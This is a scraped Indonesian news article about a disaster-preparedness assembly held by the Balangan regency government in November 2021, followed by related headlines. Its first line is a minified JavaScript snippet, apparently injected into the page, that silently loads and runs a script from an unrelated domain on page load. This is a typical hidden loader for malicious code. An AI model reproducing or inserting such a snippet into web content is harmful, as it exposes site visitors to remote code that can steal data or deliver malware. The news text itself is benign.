(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN– Pemkab Balangan menggelar apel gabungan siaga darurat penanganan bencana banjir, tanah longsor dan cuaca ekstrem akibat peralihan musim kemarau ke musim hujan, di halaman Kantor Bupati Balangan, Selasa (2/11/2021).
Apel ini diikuti oleh personel Polres Balangan, TNI, Satpol PP, BPBD, Relawan Taruna Siaga Bencana (Tagana), Dinas Sosial, Dinas Kesehatan, Dishub Balangan, Palang Merah Indonesia, SAR dan instansi terkait lainnya.
Dalam amanatnya, Bupati Balangan Abdul Hadi mengatakan, sebagai daerah yang rawan bencana alam, semua unsur terkait hendaknya siap waspada dan mengecek kesiapan terutama saat melakukan evakuasi dalam penyelamatan korban.
“Ini merupakan salah satu wujud kita dalam menghadapi bencana, dalam hal pengecekan peralatan dan kesiapsiagaan apabila dihadapkan dengan situasi bencana alam nantinya yang sewaktu-waktu kapan saja bisa terjadi,” katanya.
Baca juga : Walhi Soroti Pidato Jokowi di KTT COP26: Message-nya Sama, Jualan Utang
Abdul Hadi turut memberikan apresiasi kepada petugas dan relawan siaga bencana yang tetap penuh dedikasi, baik saat tenang maupun dalam situasi genting.
Ia tetap meminta kepada seluruh tim agar selalu standby, karena datangnya musim hujan ini bersamaan dengan fenomena La Nina yang terjadi pada bulan November – Januari. Sehingga dampaknya pun akan meluas pada Januari – Februari tahun 2022.
“Berdasarkan info dari BMKG bahwa Balangan sudah memasuki musim penghujan dan diperkirakan puncaknya terjadi pada Januari – Februari. Ini dilakukan untuk mengecek kesiapsiagaan kita dalam menghadapi masa peralihan, sehingga bisa meminimalisir terjadinya bencana tersebut,” jelas Abdul Hadi.
Selain itu, Abdul Hadi berpesan agar tim dapat menginformasikan kerawanan bencana hingga ke tingkat desa/kelurahan, serta mengedukasi masyarakat untuk selalu siap siaga terhadap bencana.
Baca juga : Waspada Badai La Nina, BPBD Banjarbaru: Pohon Besar Dekat Rumah Dipangkas
Terpisah, Plt. Kepala Pelaksana BPBD Balangan, H. Rahmi menyampaikan kesiapan pihaknya dalam menghadapi bencana yaitu; sudah dilaksanakannya rakor dan pendataan kesiapsiagaan logistik, sarana dan prasarana serta personel yang ada di wilayah kecamatan masing-masing.
Ke depan pihaknya juga berencana akan melakukan simulasi di masing-masing wilayah titik rawan bencana, sehingga pada saat kejadian semua wilayah sudah siap dalam menghadapinya.
Terakhir H. Rahmi mengajak masyarakat untuk tetap berhati-hati terhadap perubahan cuaca sekarang dan terus memperbarui informasi baik dari BPBD maupun media lainnya.
“Masyarakat harus update informasi dan diharapkan bisa berpartipasi apabila terjadi bencana untuk bisa segera berkoordinasi dengan pihak terkait,” tandasnya. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
This website uses cookies.